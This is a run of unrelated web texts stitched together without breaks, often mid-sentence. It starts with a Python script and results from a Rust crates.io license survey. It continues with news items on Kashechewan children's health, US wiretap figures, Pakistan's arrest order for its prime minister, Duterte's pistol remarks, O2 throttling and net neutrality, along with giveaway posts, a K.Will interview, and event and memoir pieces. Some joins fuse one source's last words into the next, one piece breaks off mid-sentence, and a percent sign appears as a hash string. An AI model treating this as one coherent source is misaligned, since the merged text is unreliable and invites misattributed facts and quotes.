license_counter = Counter () with open ( "license.csv" ) as csvfile : data = csv. reader ( csvfile, dialect = 'excel' ) for crate_name, row in data : # some projects multi-license, and they almost always use a '/' to join # the license names licenses = row. split ( "/" ) for license in licenses : # we just want the general class of the license, # so the trailing '+' characters are unnecessary cleaned = license. strip (). rstrip ( "+" ) if cleaned : license_counter. update ([ cleaned ]) for x, n in license_counter. most_common (): print ( "{x:30}{n}". format ( x = x, n = n )) Results So what were the results? Well, my intuition was about half correct. The top 2 most-used licenses were the MIT license and Apache-2.0. After that the number of projects using a particular license drops off considerably, with the BSD-3-Clause coming in 3rd. The Mozilla Public License came in 4th. I did not have the MPL on my list, which was obviously foolish, considering Rust is a Mozilla project. “non-standard” came in 5th, but that is kind of a wash because it appears to be a kind of “default value” that cargo (or crates.io) gives the project when they don’t have a “license” key in their configuration, but rather a “license-file” which has a path. The handful of these that I looked at were using MIT, but just didn’t name it in their Cargo.toml configs. It made me chuckle, but the “Unlicense” came in 6th. The GPL-3.0 is at 7, and the BSD-2-Clause at 8th. So all the licenses from my list were in the top 8, but were definitely not the top 5. Here is a table of my counts: mit 2333 apache-2.0 488 bsd-3-clause 63 mpl-2.0 52 non-standard 52 unlicense 49 gpl-3.0 47 bsd-2-clause 40 cc0-1.0 38 lgpl-3.0 31 zlib 26 isc 24 wtfpl 23 lgpl-2.1 19 gpl-2.0 18 bsl-1.0 15 agpl-3.0 9 aml 4 cc-by-nc-4.0 2 python-2.0 2 apache-1.0 1 agpl-1.0 1 lgpl-2.0 1 nlpl 1 ncsa 1 zlib-acknowledgement 1 ijg 1 libpng 1 mpl-2.0-no-copyleft-exception 1 zed 1 miros 1 mpl-1.1 1 Conclusion Given the results, I am probably going to take the GPL-3.0 and BSD-2-Clause out of my PR, and add the MPL in. The “Unlicense” seems to be slightly controversial (at least from the little digging I did on the internet), but I don’t want to exclude it while including licenses that were represented less in the data, so taking the top 4 instead of the top 5 seems more fair. I am not sure if the cargo devs will be interested in my feature when I get a PR opened, but either way I enjoyed this quick little dip into the crates.io ecosystem. Notes If you want to see the data I worked from, and the scripts I used, there is a git repo up with all the files, at https://github.com/pwoolcoc/crates.io-license-surveyOTTAWA – Children covered in sores and rashes in an Ontario First Nation are being evacuated as Health Canada officials launch an investigation. The federal agency has not yet confirmed when the evacuations will take place from Kashechewan First Nation, a remote community located on the coast of James Bay in northern Ontario. Doctors are also expected to be sent into the community from Moosonee, Ont., to conduct door-to-door visits and determine if other children are developing similar symptoms. Health Minister Jane Philpott addressed the Kashechewan cases outside the House of Commons on Monday. The water has been tested The children in the community are not suffering from a water-related condition, she said. “It is our understanding that that is not the case,” Philpott said. “In fact, the water has been tested as recently as last Tuesday and we know that it meets all of the appropriate standards for safety and drinking water and water to be used for other purposes.” Philpott said she could not speak to specifics due to confidentiality concerns but stressed that all children who require care will be evacuated if necessary. “I can say that all of the children who are requiring care are getting the care that they need,” she said. Nishnawbe Aski Nation Grand Chief Alvin Fiddler said the situation in Kashechewan speaks to why northern Ontario First Nations leaders decided to declare a public health emergency last month. Fiddler, who was also on a conference call Monday about the issue, said he heard a message from officials focused only on short-term problems. He said the government needs to also tackle broader systemic issues, such as a lack of clean drinking water, proper housing and possible mould issues, to determine why health problems are plaguing reserves. “It was good to hear government officials commit to getting these children out for an assessment and hopefully treatment,” Fiddler said. It was good to hear government officials commit to getting these children out “We also need to look at the longer term … some of the determinants of health: housing, water, and education, everything else that contributes to the health and well-being of our families.” Fiddler also said he is still waiting to hear from Philpott in response to the public health emergency. “Here we are a month after our declaration was issued and we are still trying to confirm meetings with the federal health minister,” he said. “Meanwhile, things are deteriorating.” When the emergency was declared, the Ontario First Nation leaders called on governments to respond within 90 days and to meet the chiefs to develop a detailed intervention plan. NDP indigenous affairs critic, Charlie Angus, said it’s the face of a much broader health crisis faced by aboriginal communities across the country. Angus, whose riding includes the long-troubled reserve, said three children have been evacuated from the community while another 13 are expected to be removed by officials for further examination and possible treatment.Earlier this year, a joint US-Mexico wiretap investigation netted the world's top drug lord, Joaquin "El Chapo" Guzman, after American agents in Arizona intercepted a mobile phone owned by the son of one of Chapo's closest confidantes. It was a huge catch—Chapo, the elusive head of the globe-spanning Sinaloa cartel, had been on the run for 13 years. But that was merely one eavesdrop in the bucket of narcotics-based wiretaps carried out in the US in 2013, during which the bulk of the surveillance that ultimately led to Chapo's arrest actually went down. According to a new Administrative Office of US Courts report, wiretaps not only hit an all-time high in 2013, the most recent year for which we have data on law enforcement wiretaps. The overwhelming majority, nearly 90 percent, listened for suspected narcotics dealings. The report breaks down the various shades and hotspots of authorized wiretap surveillance on electronic, oral, and wire communicatons in the US. All told, federal and state judges greenlit 3,576 wiretaps last year, according to the report. That's only a five percent bump over 2012, to be sure. Compare that to a decade ago, however, when domestic law enforcement carried out about half as many wiretaps as today, and it's clear that agencies like the Federal Bureau of Investigation and the Drug Enforcement Administration are taking more and more after the Central Intelligence and National Security Agencies when it comes to spying. But the real kicker is in what crimes, exactly, all these wiretaps were out for. Of all the criminal offenses investigated using wiretaps, as seen in the above chart, illegal drug offenses were far and away most prevalent. "Narcotics" constituted a whopping 3,115 of the 3,576 total wiretaps, followed by "other major offenses" (including smuggling and money laundering), homicide, and kidnapping, which was the subject of one wiretap. No, I am not kidding. "Kidnapping" got a single wiretap last year. Anyway, most of these were done through wire surveillance. No real surprises there. (If you're curious: factoring for population, Nevada is the number one wiretap state, as Pew reports.) Phone taps comprised 2,158 (93 percent) of the intercepts installed in 2013, the report goes on, with the majority going after mobile units, not cordless or landline units. Curiously, only 21 wiretap authorizations were carried out for electronic comms. Then again, that is primarily the NSA's game. But mind you, the office behind the report, the Administrative Office of US Courts, is prohibited from publicizing any data that falls under the Foreign Intelligence Surveillance Act of 1978, the founding piece of legislation that allows the NSA to do what it does. Transmitters atop telecom tower. Image: Shutterstock We don't know exactly who was arrested, or who's facing conviction as a result of last year's wiretaps. All we know, based on the report, is that 3,744 arrests and 702 convictions came out of the wiretaps in 2013. What this means is that we really have no idea what sort of drug offenders, Chapo aside, are being tapped. However, FBI statistics tell us that even as the practice of wiretapping becomes ever more commonplace in the US, 82 percent of the total number of narcotics arrestees in the US in 2012 (we don't yet have figures for this year) weren't for distribution. They were for possession. As Pando notes, that's a slight uptick from 2010 and 2011, when posession arrest percentages came out to 81.8 and 81.9, respectively. "These statistics, combined with the fact that the number of total annual drug arrests has remained about the same since 2010," Pando adds, "suggests that intensified wiretapping has had little effect on what kinds of drug offenders are arrested each year." Never mind how heavily last year's domestic wiretap profile skewed toward counternarcotics, it just doesn't seem to be making much of a dent. Of course, it could be argued that so long as drugs remain illegal at the national level, everything else, from corruption to murder to kidnapping, will continue apace. In this view, the narcotics trade sits atop the criminal pyramid; other serious crimes, the sort highlighted in the AOUC's 2013 wiretap report, are byproducts of the narco trade. Either way, better hold the line of coke.K.Will Interview and Miscellaneous Thoughts Hurrah! We got the chance to sit down with K.Will and interview him!. Here’s the video, in all it’s glory! We’ve been talking about this interview a lot over the past week. We made an announcement video for it, hinted at it in the KpopCharts Update, and mentioned it in our Music Monday on K.Will’s “Love Blossom” as well. This definitely seems like K.Will week and we sure have been hearing his newest song “Love Blossom” being played all around Seoul. Well, the teasing is now over. Here’s our interview with K.Will! He came over to the studio on Friday night, answered some questions, and took some pictures with us. Woot! We were really lucky to have him stop by, since he JUST released his new song, and is surely going all over the place for his promotions. I like the idea of K.Will stopping by the studio as part of the promotional circuit, by the way. Maybe one day every band will stop by when they’re promoting? That’d be pretty freaking cool! Also, Martina feels really disappointed about this interview because she was really sick that day. Something she ate did NOT go over well…I think it was the shrimp noodle soup she had. We weren’t going to cancel the interview but she just didn’t feel her normal energetic self but she tried to be as chipper as possible! If you noticed that she seemed less energetic than usual, that’s why. My sweet wife is such a trooper! These interviews do take a while to edit, though, because there’s so much footage to go through, usually. It’s not just a matter of “film video upload video boom!” We gotta cut around things here and there, and make this video look good. K.Will doesn’t speak a lot of English, so Soo Zee was on the side translating. Putting up hard subs isn’t a breeze, either. Also, we’re not complaining here, we just know that a lot of people are like “Y U NO POST VIDEO RIGHT AWAY!” It’s because a lot of work has to go into making the final product :D Here’s how it looks behind the camera: Oh! And some of you might be a bit confused by the intro sequence. We found his promotional video for “Love Blossom” to be hilarious, and wanted to recreate it. Here it is, if you haven’t seen it: Ha! Now THAT’S a teaser. You get to hear some of the song and get some lols out of it. Super effective, in my opinion, as opposed to other teasers which we shall not name but I’m sure you’ll think we’re talking about though we might not be thinking about the teaser you’re thinking about. Oooh you so sneaky! Lastly, we’re sorry if we didn’t pick your question and it didn’t get answered for the interview. We do scour through all of your suggestions, pick the top rated ones, and then send a whole slew of them in to the management to approve, so they get the final say in what we can talk about in the interview. Some of you had awesome questions, but we just couldn’t get them all in! K.Will “Love Blossom” Signed CD Giveaway! We had K.Will sign some CDs so we can give them away to you guise! It’s what we do for all of our interviews, and this is no different. It was awesome timing that K.Will got voted in for Music Monday since we were able to give away one for our Music Monday on K.Will’s “Love Blossom”. We’re giving away two more for this interview. And they have been signed all in different colours! OooOOooOooOH! We kept the one signed in blue, cause we love blue. Woot! If you want to win, here’s what you gotta do! To Our YouTube Subscribers! 1) Click this link to Subscribe to us on YouTube. Non YouTube subscribers get no CD. 2) Let us know in the comments to this video on YouTube, what you like most about K.Will. All of you Nasties: go show K.Will some support, and let him know how strong of an international following he has. 3) If you’re an Eatyourkimchi Nasty you can leave your comments here as well! Your chances of winning are higher here, because there are fewer comments compared to YouTube. Just giving you the inside scoop ;) To the Facebook Nasties: 1) Click here to Like Our Page 2) Find the “K.Will Contest Thread” and like that post 3) Similar to the YouTube thread, in the comments to that contest thread, answer the same question. It’s like you enter twice with the same answer! To the Twitter Nasties: 1) Click this link to Follow us on Twitter: 2) Click this link to Retweet this Post. 3) That’s it. Did you expect a third step? It’s that easy. Just follow us on Twitter and share this link. We want to spread the word, yo! Also, we’ve got some behind the scenes footage. I’d like to say that there’s footage of K.Will playing with our dog, because we say that as a lead in to all of our blooper footage for interviews, and then we never show it. Ha! So, we’ll just tease you by saying maybe you’ll see the Spudgy, maybe you won’t :DIf you’re coming to PAX East 2015, and you plan to play our Game 4 demo, then we’re here to give you the low down on everything you need to know! Get ready for giant SPOILERS ahead: We’re bringing a two-part demo to the expo! Story Missions and a Free-Play experience for solo players! (Co-op option will be available in the future) Either demo experience will average 30 minutes and you’ll get to choose one when you sit down for the demo. Let’s take a look at our fast-paced, turn-based adventure: Part 1 – Story Missions (highly recommended for anyone’s first time playing at PAX East) You might recognize part of the Story Missions if you’ve played at PAX Prime last year. But be prepared to learn more about our Game 4 world as every single part (dialogue & background story) has been updated and/or reworked to understand our heroes better. We also introduced Sofia in the PAX Prime demo, but in this version she’s a playable character. She’s what we like to think of as a recruiting specialist and you’ll be able to try out the brand NEW recruiting mechanic! All these updates are not to be missed! If this is your first time ever playing the demo, and you’d like to get a taste of our story intro, then you can check out this opening cinematic: This 2nd demo experience requires knowledge obtained from Part 1 in order to access this experience. In order to “Skip Story Missions” to play Part 2, players will need to take “The Quiz.” (Sorry, we can’t give you the answers ahead of time!) The start of Part 2 follows the end of Part 1, so we recommend that PAX East attendees only try The Quiz if they’ve played Part 1 at least once! Part 2 grants the option to play with other species of characters (such as Cupcakes or Vampires)! You can have up to 6 fighters on your roster to put into battle. When you get to the quest gate, you can choose up to two quests to pursue. Or you can just exit the gates and find some random encounters. Part 2 is definitely worth getting back in line for! Our game is still in development, so we will have comment cards at each station if you’d like to give us your feedback! Finally, if you want to take home a memento of your Game 4 experience, then you can buy our PAX East 2015 exclusive t-shirt that features Sofia & Gluten! See you soon in Boston!Media playback is unsupported on your device Media caption The BBC's Orla Guerin reports amid "euphoric scenes" in Islamabad when the arrest order was announced Pakistan's Supreme Court has ordered the arrest of PM Raja Pervez Ashraf and 15 others over corruption allegations, raising fears of a political crisis just months ahead of an election. Mr Ashraf denies accepting bribes when approving power generation projects as minister for water and power in 2010. Analysts say that the move is unlikely to lead to his immediate removal. It comes as a populist cleric led thousands of protesters in Islamabad, demanding the government resign. There was a mood of mass euphoria as the news of the court's order reached demonstrators, led by Tahirul Qadri. Some jumped for joy and others hugged, some crying. Analysis The Supreme Court's order to arrest Prime Minister Raja Pervez Ashraf comes in a case the court has been hearing for over a year. Mr Ashraf is accused of accepting bribes in 2010, when he was the minister of water and power. This does not automatically lead to his unseating, but analysts say the timing of the court order is suspicious at a time of mass protest and just months ahead of an election The streets of Islamabad are clogged by anti-corruption protesters led by a Canadian cleric of Pakistani origin, Dr Tahirul Qadri. Since his arrival in the country last month, his critics have been accusing him of trying to derail the democratic system just months ahead of polls. There has been speculation that he may be fishing for a role for the military and the judiciary when it comes to the appointment of an interim government which will preside over those elections, due in May. "So far we have not received anything from the Supreme Court in writing. The government, the law ministry and the prime minister have not received any order from the Supreme Court," Information Minister Qamar Zaman Kaira reportedly told private TV channel Geo. "The timing of the decision should be noted. As far as I have been told, the prime minister's name is not mentioned in the Supreme Court order and hype has been created," he said. The BBC's M Ilyas Khan in Islamabad says the timing may just be a coincidence - but to many observers it bolsters allegations that the cleric is backed by elements of the judiciary and military. In recent years Pakistan's government, judiciary and powerful military have been at loggerheads. Mr Ashraf's predecessor, Yousuf Raza Gilani, was forced out as prime minister last June after the Supreme Court convicted him of contempt for failing to pursue a corruption case against the president. Mr Ashraf was appointed in his place, but many predicted that his tenure would also be troubled. The Supreme Court order says the prime minister and the others should be arrested and produced before court within 24 hours. But correspondents say the prime minister's lawyers may find ways of delaying any appearance. Dogged by controversy There was no immediate statement from the government following the arrest order. President Asif Zardari was holding a meeting of leading figures in the ruling Pakistan People's Party (PPP) in Karachi, according
the next 5 days!Don’t get captured alive. President Rodrigo Duterte gave this advice to soldiers on Tuesday as he turned over 3,000.45 cal. M1911 pistols to the military. ADVERTISEMENT “I will give you all guns with two magazines in reserve and one deployed. One of those magazines is for you. The other two are for the enemy,” Mr. Duterte said during a ceremony in Malacañang. “Don’t surrender while still alive. If you’re cornered, all you have to do is to raise your right hand with a [dirty finger] sign and put the gun in your mouth,” he said, drawing laughter from the soldiers present. The 3,000 pistols were acquired by the Department of Budget and Management-Procurement Service under a negotiated procurement deal with Armscor Global Defense. Mr. Duterte pledged to provide pistols to all soldiers during his term. “I do not mind losing the gun to the enemy, but do not give it to them alive. Give it to them when you’re already dead, especially there in Jolo and Zamboanga area,” he said. “Do not let them cut off your head,” he added. “And your family will see that … That is a very horrifying or traumatic — that is why the third magazine … that is for you.” Read Next LATEST STORIES MOST READWe are back with our monthly #iGWGiveaway & again, this time, we're partnering to giveaway a JamesDonkey 007 Modular gaming mouse worth $99.99. Well, for those of you, who think that the company name 'JamesDonkey' is weird, here is some information about the company. The Chinese hardware firm, JamesDonkey is completely into manufacturing Computer peripherals such as mouse & keyboards. They are showing very much difference in their products & best of all, the products are very affordable & the same can be seen in their product quality too. Our last month giveaway in partnership with JamesDonkey was very successful. More than 8K entries & unlimited shares on social media triggered the company to join hands with us again. From the bottom of our heart, we sincerely thank every iGadgetsworld fan for making the last month #iGWGiveaway a grand success. It is very clear that our partner had clearly seen how the iGadgetsworld fans are interacting with us, so they asked last month itself to run a big giveaway & this time the product's worth is $100. Here we go, We are happy to announce a new international giveaway where our fans can win a brand new JamesDonkey 007 modular gaming mouse for free. Before talking about how you can enter in the giveaway & what are the conditions, let me talk about the key features of this modular gaming mouse. Winner Announced: JamesDonkey 007 Modular Gaming Mouse - Features: Modular Concept - you will get 11 detachable components & you can design the type of mouse which suits your requirements. A total of 54 combinations is possible DPI can be adjustable from 600-8200 DPI Maximum Polling rate - 1000 Hz (Adjustable) The mouse clicks come with sounds & vibration (adjustable) 3 LED Indicators, 1 - Over the logo (which can be customizable up to 10 colors & has 2 light models - breathing light/keep on lighting) and the remaining are white (on the bottom side) Available in 4 colors - Gray, Green, Red & white 6 user-defined configuration settings, can be switchable in a click For more information about the product, you can follow the official JamesDonkey fan page on Facebook or you can check out directly on Amazon All these features can only be seen in a high-end gaming mouses which cost more, but with less than $100, you can get all these features in JamesDonkey 007 modular gaming mouse. Now, you know why the name 007? :p Because this gadget can transform its design based on your purpose & the James Bond franchise is known to showcase the future gadgets. As it is meant completely for gamers, but it is not limited to them. Even a regular user can make use of it because of its ergonomics. Isn't the gadget interesting? Do you want to get one? Here you go - the procedure to participate in our #iGWGiveaway. How to Enter in JamesDonkey 007 Modular gaming mouse giveaway: Just like the old-time, we are relying on our beloved giveaway widget - Gleam. This is to make sure, every entry is valid & there are no duplicate entries. For our old fans, you know what to do, just enter from the below widget & for the new fans, a basic rule to win the giveaway is to get more entries. The higher the entries, the greater the chance of winning Here you go! Try your luck and win a brand new JamesDonkey 007 modular gaming mouse. JamesDonkey 007 Gaming Mouse Giveaway - International https://js.gleam.io/e.js Note: From this giveaway onwards, we have started asking questions & comment your opinion on a particular article, please make sure you have completed the task for the higher number of entries. The entries which have both comment & the answer are solely eligible for this giveaway. Anyhow, the giveaway will start from today onwards & run for 3 weeks. After 3 weeks, the winner will be announced on all of our social media pages & also via mail. We will soon tell you, why we have added a question. Until then, try your luck :p - All the best from Team iGadgetsworld.O2 has admitted to deliberately throttling its network as a "temporary measure" to combat the demand of Brits using free data roaming abroad. The issue was first pointed out by a punter in the UK mobile network's support forum, who noted that within a month of the EU abolishing roaming charges on June 15, he was unable to use 4G services and was experiencing speeds of 0.5Mbps in Dublin, Ireland. After carrying out a series of speed tests with different operators in the Emerald Isle, he concluded O2 was the worst for data roaming. "You could see the phone trying its hardest and on many occasions starting the speed test I was getting 10+ Mbps, however throttling kicked in and it went straight to 0.50 mostly," he said. "I’m appalled that it’s still throttled badly and it's shocking that 4G is still not available." He called on O2 to enable 4G roaming and stop throttling: "It's making you look like cheapskates and bad as a network for overseas." O2 said European mobile networks impose traffic shaping and throttling measures to protect their services and keep at least some bandwidth available for everyone, particularly when people stress a network with data usage. In response to the demand on its network, O2 said it has temporarily imposed similar controls. "Data roaming surpassed all expectations," a spokeswoman told The Register. "We therefore have put temporary measures in place to protect the service experience for customers roaming in our Europe Zone. These firewalls are temporary and we are working to have these controls removed within the coming weeks." Earlier this week Virgin Mobile customers complained their roaming isn't working on the continent. ®Today’s been kind of a downer of a day for me. The sort of day that makes you question things, like “When will my life begin?” or “Can anyone outfox the fox?”. Or “What would Zootopia look like if you took away all the animals?” Well, I didn’t ask that last question, but we got an answer anyways. Someone by the name of Gianni The Best decided they would take the time to go through all of Zootopia frame-by-frame and remove all the frames that had any animals in them. As it turns out, that removes a full 97{fc17e15ed6c8f701884a899a735d4ed94fc8cfa66fc2f404dd33f42f9afeb7a1} of the movie. Really gives you a new perspective on the fact that each animal in Zootopia had hundreds of thousands of individually rendered hairs. They really didn’t cut any corners, there was pretty much always at least one animal on screen at any time. So props to you, Disney! This random fact makes your awesome technology that much more impressive! Check out the video after the break!The following post was published by Matthew Cerrone to MetsBlog.com on October 19, 2006, the morning after the Mets defeated the Cardinals to push a Game 7 in the NLCS: The Mets lost to the Cardinals the next night (six years ago today), after which St. Louis went on to win the World Series against the Tigers. I know we were all on Cloud Nine by the following summer (when the Mets were the best team in the NL and in first by a dozen games). However, in hindsight, looking back, it seems like it was all down hill from that Game Six. From there, it's like it went from Endy's catch to collapses to injuries to Maddoff in the matter of a few minutes, yet it's actually been six years. SIX. I get a headache just thinking about, frankly. That said, I will never forget how it felt leaving Shea Stadium that night. I had never heard a louder Jose, Jose, Jose chant, which you could still hear rattling through the building while walking through the parking lot. It was so impactful, Cliff Floyd actually wrote about it on the blog he was keeping that year for MLB.com. The memory is tainted a bit by what happened six years ago tonight, and by what ultimately happened the following season, but (as far as baseball games go, and experiences at that ballpark) it was a great night that I'll never forget. To see what the Mets-Tigers World Series program would have looked like in 2006, check out this post from Mets Police.When the Federal Communications Commission votes December 14 on Chairman Ajit Pai’s proposal to repeal “net neutrality,” the Obama-era rules that classified broadband providers as “common carriers,” regulation of the internet will likely be ceded to the Federal Trade Commission. With the vote approaching, a coalition of local governments and consumer protections groups sent a letter to the FCC Monday morning asking the commission to delay the vote until a crucial, obscure court case is resolved. Leading those governments is New York City, alongside a host of high profile consumer rights advocates. At issue is the case FTC vs AT&T Mobility, which could undermine the FTC’s regulatory authority. AT&T's unorthodox argument: that because part of its business is already regulated by the FCC as a common carrier, the FTC does not have jurisdiction because of what is known as the “common carrier exception.” That exception is normally read to apply to specific activities of businesses and not the entire business itself. Nonetheless, the U.S. Court of Appeals for the Ninth Circuit originally sided with AT&T. The decision was later vacated and is now being reviewed en banc by the entire court. If the court review agrees with the court’s original decision, it will effectively mean that the FTC has no regulatory authority. With the FCC ceding its authority to the FTC while simultaneously preempting state authority, a total regulatory vacuum would be the result. “It would become a total unregulated zone, really and truly,” Harold Feld of the consumer advocate group Public Knowledge, which is distributing the letter to the FCC, told International Business Times late last week. “Because your only options for consumer protection are the FCC, the FTC or the states.” The FCC is aware of the danger proposed by the outstanding court decision; it’s mentioned in Ajit Pai’s draft order. However, Pai dismisses it out of hand, writing, “we find objections based on FTC vs AT&T Mobility insufficient to warrant a different outcome.” In response to this specifically, the letter reads: “The cavalier way in which the Draft Order dismisses this concern raises the question as to whether the proposal takes even its own fig leaf of consumer protection seriously.” Joining New York City are 40 other organizations that include digital civil liberties advocates Electronic Frontier Foundation as well as the American Library Association, the largest professional association of librarians in the world, with 57,000 members. “Net neutrality ensures communities are strengthened with fair access to the information that they need to participate in the modern world,” said Miguel Gamiño, Jr., New York City’s chief technology officer. “Eliminating net neutrality protections will serve the telecom industry instead of safeguarding equity for people, economy and opportunity. I have signed onto this letter to continue to voice local government concern over the FCC plan to repeal net neutrality and ask that they delay a vote until after the resolution of pending court decisions that address risk to consumer protections from anti-competitive practices.” Consumer advocates were already sounding the alarm that the FTC is a comparatively weaker regulator than the FCC because it can step in to take corrective action only after abuse has occurred, rather than set preemptive rules like the FCC. But if the Ninth Circuit’s original decision is upheld, then even the little regulatory power that the FTC has will vanish. “Given the enormous danger to consumers of losing all protections should the Ninth Circuit decide to affirm the panel decision and side with AT&T Mobility, the FCC should delay a vote until the en banc panel of the Ninth Circuit issues its decision,” the letter reads.In our third annual Clay with Your Food, three Bay Area chefs will compete in a food-meets-performance-art triathlon. They will prepare food in the kiln at 1,000 degrees, throw their own serving dish on the potter's wheel, and plate food on sculpture made by International Clayboy and Vesselist, Jered Nelson. The culinary arts have a position on the world stage like never before, and with this exposure comes an opportunity to go beyond what is commercial and viable to something more profound. The purpose of this event is to see what happens when chefs are asked to approach the art of plating and design from outside of their ordinary environments and under unusual circumstances, to push them beyond the edge of what is considered reasonable. This year's competitors are Brandon Jew, chef-owner of Mister Jiu’s in San Francisco, Jeff Russell, recently appointed executive chef at the forthcoming Charlie Palmer Steak in Napa, and Adam Tortosa, former executive chef at 1760 and Akiko’s, whose newest restaurant, Robin, opens in Hayes Valley later this year. Esteemed judges are Chef Daniel Patterson, food writer Rebecca Flint Marx, and artist Victor Reyes. This year’s event expands on previous years’ with a round of live, on-the-spot ekphrastic poetry about the chefs' cullinary and ceramic creations. Guest poets are Hugh Behm-Steinberg, MK Chavez, and Poet Laureate of El Cerrito, Maw Shein Win. HOSTED BY: Jered's Pottery Jered's Pottery makes fine dinnerware, sculpture, lighting and tile out of California clay. Jered's Pottery is Jered Nelson and his talented crew of artists and craftspeople. Jered has hand-thrown over 100,000 vessels in his career as a potter. Beautiful design, Jered believes, inevitably comes from fine craftsmanship. Jered's fascination with how people interact with ordinary objects—a lip to a cup, a hand on a bowl—inspires the subtle details in his work. Jered's Pottery has created dinnerware for world-renowned chefs and designers including Daniel Patterson, Michael Mina and Michael Chiarello. CONTACT INFO: jeredspottery@gmail.com Event Type : Activation/Experience/Social Experiment Event Focus : Food Design, Interior Design, Product Design REFUND POLICY : We do not offer refunds. If event is sold out, we might be able to give your spot to someone on the waitlist.Over at the Upshot, Kyle Dropp and Brendan Nyhan look at a new Morning Consult poll exploring Americans’ confusion regarding the terms “Affordable Care Act” and “Obamacare.” Thirty-five percent either think Obamacare and the Affordable Care Act are different policies or aren’t sure whether they’re different policies. The confusion is worst among young people and those making less than $50,000, and it’s magnified when you begin asking about the consequences of repeal: When respondents were asked what would happen if Obamacare were repealed, even more people were stumped. Approximately 45 percent did not know that the A.C.A. would be repealed — 12 percent of Americans said the A.C.A. would not be repealed, and 32 percent said they didn’t know. The pollsters dug into more specific consequences of repeal, too. Among Republicans, only 47 percent knew that the Medicaid expansion and insurance subsidies would be rolled back — 29 percent said Medicaid and the subsidies would be unaffected, and another 24 percent weren’t sure. So fully 53 percent don’t know or don’t believe that repealing Obamacare would repeal its coverage expansion, too. Polls like this are sensitive to changes in wording and can’t tell us how respondents really interpret the question, so it’s worth being cautious when reading the results. Perhaps the Republicans who assumed the Medicaid and insurance subsidies would survive under repeal were assuming repeal would include a full replacement, too. That’s certainly an impression Republicans have encouraged, even if it’s not one they have backed up through policy. But the basic message of this poll — that there’s a lot of confusion around what the Affordable Care Act actually is and does — is consistent with past surveys. The Kaiser Family Foundation, for instance, polled Trump voters on the Affordable Care Act, and found the Medicaid expansion, Medicare taxes, and out-of-pocket limits are popular even among Trump supporters: Dropp and Nyhan end their piece with a question. “Despite this widespread confusion, Republicans in Congress have recently started to edge away from A.C.A. repeal as the politics of the issue have become more difficult,” they write. “What would happen if people understood the law better?” Republicans know they’ve benefited from voter confusion on this issue. It’s why Donald Trump’s health care policy could literally be to repeal Obamacare and replace it with “something terrific.” They also know that begins to end as soon as they release a real plan, and it really ends if they pass something into law. Which is why congressional Republicans are in disarray over their replacement strategy, Trump has begun making impossible promises about what will come next, and even Medicaid’s most committed opponents are admitting that slashing it is harder than they thought. But there is one way out for Republicans, as Topher Spiro, a health policy expert at the liberal Center for American Progress, notes:* S&P Global affirms Poland at BBB+, outlook stable * Says economy is resilient * Says policy uncertainty hinders private investment By Marcin Goettig WARSAW, Oct 20 (Reuters) - Rating agency S&P Global affirmed Poland's rating at BBB+ with a stable outlook on Friday, as expected, saying the decision balanced the risks of the economy becoming overheated against the country's solid economic fundamentals. The decision was in line with a Reuters poll of analysts, who saw on average a 74 percent chance of the move against an 18 percent chance of a change in the outlook to positive. S&P currently has the lowest rating on Poland of the three major agencies, with Moody's two notches higher at A2 and Fitch at A-, both with stable outlooks. S&P said on Friday its decision reflected Poland's economic resilience, including a nearly balanced current account deficit, competitive wage levels, as well as high-quality human capital. But it said Poland's $515 billion economy - the largest in the eastern wing of the European Union - was at risk of overstimulation from, among other things, negative inflation-adjusted interest rates and wage growth exceeding productivity growth. Uncertainty surrounding recent tax and other reforms has contributed to "moribund" levels of private capital spending, it added. S&P cut its rating on Poland by one notch to BBB+ with a negative outlook in January 2016, citing a weakening of key institutions. In December 2016, S&P changed the outlook to stable, saying it was no longer worried that the government would try to undermine the independence of the central bank. ($1 = 3.5944 zlotys) (Reporting by Marcin Goettig, Editing by Rosalba O'Brien)In the category of ass-kicking memoirs written by some of our favorite musicians, 2015 proved to be full of riches. Of course, we already recommended Patti Smith’s M Train and Carrie Brownstein’s Hunger Makes Me a Modern Girl in our 2015 Gift Guide For Music Lovers. But for those in a pinch for what to buy any musically inclined kin, or for those just out to prove the necessity and gift of female musicians-turned-authors, we’ve put together a list of stellar new and beloved crowd pleasers. 1. I’ll Never Write My Memoirs by Grace Jones Firebrand extraordinaire, Grace Jones broke every rule in the book, including her own, which was to “never tell.” Thankfully for us, she did. Jones sprang free from her devout Christian upbringing in Jamaica after immigrating to New York with her parents in the ‘60s. A sonic rebirth soon followed, as she experimented with rocking afros, roller skates, neon makeup, androgynous haircuts, and barely anything at all long before it was considered cool. Pop icons playing at being subversive? Jones throws solid side-eye, “Rihanna… she does the body-painting thing I did with Keith Haring, but where he painted directly on my body, she wears a painted bodysuit. That’s the difference. Mine is on skin; she puts a barrier between the paint and her skin. I don’t even know if she knows that what she’s doing comes from me, but I bet you the people styling her know. They know the history.” 2. Clothes, Clothes, Clothes. Music, Music, Music. Boys, Boys, Boys. by Viv Albertine A cheeky lass and cocksure dabbler in London’s punk scene in the ‘70s, Viv Albertine’s youth was the stuff of dreams. When her band with a pre-Sex Pistols Sid Vicious fizzled, Albertine took up the role of guitarist with dour sweethearts The Slits. But beyond chronicling her neon youth, Albertine offers equal playing time to her life post-Slits, and explores the traumas of in vitro fertilization, motherhood, divorce, cancer, and her decision to return to music after a decades long hiatus. An added bonus is Albertine’s index of the clothes, music, and boys she coveted from her youth to now. She offers a sneak peak at 1976-79: customized fringe tights, pink patent boots, and mohair jumper were de rigeur. Dionne Warwick Sings Burt Bacharach, Richard Hell and the Voidoids, and suicide reggae were favored beats; Joe Strummer, Mick Jones, and Sid Vicious were heartbreakers of choice. Rock stars, they’re just like us! 3. Never Broken: Songs Are Only Half the Story by Jewel On the cover of her sensitive, forthright memoir, Jewel sits regally atop a black horse with a white face; she is every bit the ethereal, elfin poetess who once drew the tired and grunged up masses to appreciate romantic lyricism. Reflecting a lifetime of extreme highs (going from obscurity to signing with Atlantic Records, recording numerous well-received multi-platinum albums, and celebrating the birth of her son) and bottomed out lows (her childhood spent singing in bars with an alcoholic, abusive father, her momager’s spending that left her in debt, and her divorce) it’s clear that her harrowing journey has been one of perpetual rebirth. Through it all, Jewel continued to pursue her writing and music. She writes, “Be bold. Name what you want. Give it voice and then give it action. Success is not guaranteed but commitment and courage are the only insurance we have.” 4. Boys in the Trees by Carly Simon Long before Taylor Swift wrote about her exes, Carly Simon penned a little diddy called, “You’re So Vain,” about a mystery man that a since been revealed as none other than noted lady killer Warren Beatty. But Simon was no victim to his advances, and enjoyed her own fecund, and turbulent romantic life. Spotlighting her relationships with men, Simon’s eloquent new memoir, Boys in the Trees largely focuses on her storied, stormy marriage to James Taylor, whom she had met years earlier when they were children. Gorgeous black and white 